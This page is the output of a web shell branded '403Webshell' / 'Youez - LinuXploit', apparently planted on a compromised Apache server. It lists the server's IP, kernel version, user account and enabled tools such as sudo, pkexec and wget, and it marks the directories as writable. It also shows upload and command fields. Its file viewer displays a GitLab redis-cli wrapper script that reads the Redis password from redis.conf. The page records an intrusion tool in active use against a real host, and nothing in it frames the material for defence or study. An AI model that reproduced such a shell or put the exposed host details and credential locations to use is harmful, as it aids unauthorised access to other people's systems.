403Webshell
Server IP : 188.151.22.197  /  Your IP : 216.73.217.74
Web Server : Apache/2.4.62 (Rocky Linux) OpenSSL/3.5.5
System : Linux wsten.se 5.14.0-687.30.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 13:09:21 UTC 2026 x86_64
User : apache ( 48)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/bin/gitlab-redis-cli
#!/bin/sh

error_echo()
{
  echo "$1" 2>& 1
}

set_tls_params()
{
  REDIS_PARAMS="${REDIS_PARAMS} -p ${redis_tls_port} --tls"
  if [ "${redis_tls_auth_clients}" = "yes" ]; then
    REDIS_PARAMS="${REDIS_PARAMS} --cacertdir ${redis_tls_cacert_dir}       --cacert ${redis_tls_cacert_file}       --cert ${redis_tls_cert_file}       --key ${redis_tls_key_file}"
  fi
}

gitlab_redis_cli_rc='/opt/gitlab/etc/gitlab-redis-cli-rc'

if ! [ -f ${gitlab_redis_cli_rc} ] || ! [ -r ${gitlab_redis_cli_rc} ] ; then
  error_echo "$0 error: could not load ${gitlab_redis_cli_rc}"
  error_echo "Either you are not allowed to read the file, or it does not exist yet."
  error_echo "You can generate it with:   sudo gitlab-ctl reconfigure"
  exit 1
fi

. "${gitlab_redis_cli_rc}"


if [ -e "${redis_socket}" ]; then
  REDIS_PARAMS="-s ${redis_socket}"
else
  REDIS_PARAMS="-h ${redis_host}"
  if ! [ "${redis_port}" = "0" ]; then
    REDIS_PARAMS="${REDIS_PARAMS} -p ${redis_port}"
  elif ! [ "${redis_tls_port}" = "0" ]; then
    set_tls_params
  fi
fi

REDISCLI_AUTH="$(awk '/^requirepass /{
  pwd = $0 ;
  gsub(/^requirepass /,"",pwd);
  gsub(/^"|"$/, "", pwd);
  print pwd }' ${redis_dir}/redis.conf)"


if [ -n "${REDISCLI_AUTH}" ]; then
  export REDISCLI_AUTH
fi

exec /opt/gitlab/embedded/bin/redis-cli $REDIS_PARAMS "$@"

Youez - 2016 - github.com/yon3zu
LinuXploit